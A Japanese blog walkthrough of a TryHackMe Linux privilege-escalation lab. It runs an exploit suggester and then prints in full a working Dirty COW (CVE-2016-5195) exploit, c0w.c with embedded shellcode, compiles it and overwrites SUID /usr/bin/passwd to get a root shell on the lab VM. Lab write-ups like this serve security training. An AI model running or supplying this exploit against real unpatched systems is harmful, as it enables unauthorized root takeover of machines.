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【CVE-2016-5195】Kernel exploitsを利用した権限昇格！TryHackMe Linux PrivEsc Writeup Part10

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TryHackMe
【CVE-2016-5195】Kernel exploitsを利用した権限昇格！TryHackMe Linux PrivEsc Writeup Part10
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今回は、「Kernel exploitsを利用した権限昇格」をやってみます。

ターゲットマシンは、TryHackMeの下記のRoomを利用します。
「TryHackMe-Linux PrivEsc：https://tryhackme.com/room/linuxprivesc」

TryHackMe
Linux PrivEsc Practice your Linux Privilege Escalation skills on an intentionally misconfigured Debian VM with multiple ways to get root! SSH is available. Credentials: user:…

こちらの記事は、Part10になります。
TryHackMeでLinux PrivEscのWriteupを確認したい方は、「historyファイルやconfigファイル、重要ファイルのバックアップを悪用した権限昇格」も確認してください。

解説は、ネタバレになりますので、注意してください。

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目次

事前準備

まずは、「Start Machine」でターゲットマシンを起動しておきましょう。

IP Adressが表示されていればOKです。

今回は、権限昇格なので、sshで接続できるところまで確認しておきます。
TryHackMeにある通り「user/password321」で接続しましょう。

┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv]
└─$ ssh user@10.10.175.49                                              130 ⨯
user@10.10.175.49's password: 
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 15 06:41:23 2020 from 192.168.1.125

Kernel Exploits（カーネルエクスプロイト）

カーネルエクスプロイトとは、LinuxやWindowsをはじめとするカーネル自身の脆弱性をつくエクスプロイトになります。
基本的にカーネルはシステム内で最高権限を持つ特権モードで動作しているため、悪用されるとシステムのほぼすべてを掌握されることになります。

まずは、Linux Exploit Suggester 2を利用して、現在のシステムで潜在的なカーネルエクスプロイトを特定します。

user@debian:~$ perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl

  #############################
    Linux Exploit Suggester 2
  #############################

  Local Kernel: 2.6.32
  Searching 72 exploits...

  Possible Exploits
  [1] american-sign-language
      CVE-2010-4347
      Source: http://www.securityfocus.com/bid/45408
  [2] can_bcm
      CVE-2010-2959
      Source: http://www.exploit-db.com/exploits/14814
  [3] dirty_cow
      CVE-2016-5195
      Source: http://www.exploit-db.com/exploits/40616
  [4] exploit_x
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [5] half_nelson1
      Alt: econet       CVE-2010-3848
      Source: http://www.exploit-db.com/exploits/17787
  [6] half_nelson2
      Alt: econet       CVE-2010-3850
      Source: http://www.exploit-db.com/exploits/17787
  [7] half_nelson3
      Alt: econet       CVE-2010-4073
      Source: http://www.exploit-db.com/exploits/17787
  [8] msr
      CVE-2013-0268
      Source: http://www.exploit-db.com/exploits/27297
  [9] pktcdvd
      CVE-2010-3437
      Source: http://www.exploit-db.com/exploits/15150
  [10] ptrace_kmod2
      Alt: ia32syscall,robert_you_suck       CVE-2010-3301
      Source: http://www.exploit-db.com/exploits/15023
  [11] rawmodePTY
      CVE-2014-0196
      Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
  [12] rds
      CVE-2010-3904
      Source: http://www.exploit-db.com/exploits/15285
  [13] reiserfs
      CVE-2010-1146
      Source: http://www.exploit-db.com/exploits/12130
  [14] video4linux
      CVE-2010-3081
      Source: http://www.exploit-db.com/exploits/15024

色々リストアップされていますが、この中で有名な下記を悪用しましょう。

[3] dirty_cow
      CVE-2016-5195
      Source: http://www.exploit-db.com/exploits/40616
あわせて読みたい
Dirty COW (CVE-2016-5195) Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel.

「https://dirtycow.ninja/」を参考にして、SUIDファイルである「/usr/bin/passwd」をシェルを起動するファイルに置き換えます。（/tmp/backに/usr/bin/passwordのバックアップが作成される。）

user@debian:~$ cat /home/user/tools/kernel-exploits/dirtycow/c0w.c
/*
* A PTRACE_POKEDATA variant of CVE-2016-5195
* should work on RHEL 5 & 6
* 
* (un)comment correct payload (x86 or x64)!
* $ gcc -pthread c0w.c  -o c0w
* $ ./c0w
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* mmap fa65a000
* madvise 0
* ptrace 0
* $ /usr/bin/passwd 
* [root@server foo]# whoami 
* root
* [root@server foo]# id
* uid=0(root) gid=501(foo) groups=501(foo)
* @KrE80r
*/
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/ 
unsigned char shell_code[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char shell_code[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/

void *madviseThread(void *arg) {
  int i,c=0;
  for(i=0;i<200000000;i++)
    c+=madvise(map,100,MADV_DONTNEED);
  printf("madvise %d\n\n",c);
}


int main(int argc,char *argv[]){

  printf("                                \n\
   (___)                                   \n\
   (o o)_____/                             \n\
    @@ `     \\                            \n\
     \\ ____, /%s                          \n\
     //    //                              \n\
    ^^    ^^                               \n\
", suid_binary);
  char *backup;
  printf("DirtyCow root privilege escalation\n");
  printf("Backing up %s to /tmp/bak\n", suid_binary);
  asprintf(&backup, "cp %s /tmp/bak", suid_binary);
  system(backup);

  f=open(suid_binary,O_RDONLY);
  fstat(f,&st);
  map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
  pid=fork();
  if(pid){
    waitpid(pid,NULL,0);
    int u,i,o,c=0,l=sc_len;
    for(i=0;i<10000/l;i++)
      for(o=0;o<l;o++)
        for(u=0;u<10000;u++)
          c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shell_code+o)));
    printf("ptrace %d\n\n",c);
   }
  else{
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(),SIGSTOP);
    pthread_join(pth,NULL);
    }
  return 0;
}

コードをコンパイルして、実行しましょう。

user@debian:~$ gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w
user@debian:~$ ./c0w
                                
   (___)                                   
   (o o)_____/                             
    @@ `     \                            
     \ ____, //usr/bin/passwd                          
     //    //                              
    ^^    ^^                               
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap 534b7000

madvise 0

ptrace 0

/usr/bin/passwdを実行することで、root権限を取得できたかと思います！

user@debian:~$ /usr/bin/passwd
root@debian:/home/user# whoami
root

まとめ

今回は、「Kernel exploitsを利用した権限昇格」をやってみました。
カーネルエクスプロイトだけでも、14件もの脆弱性があるというのは、少し驚きだったかもしれません。
最終手段ということで、今後利用することがあるかはわかりませんが、忘れないようにしないといけないですね。

参考文献・サイト

ー

Cyber Weapons
TryHackMe
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この記事を書いた人

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情報セキュリティを勉強するために始めたブログです。
新人のため、広い心を持って見ていただけると嬉しく思います。
楽しくプログラミングを勉強するために、「Teech Lab.」もありますので、ソフトウェア開発にも興味があればぜひ覗いて見てください！

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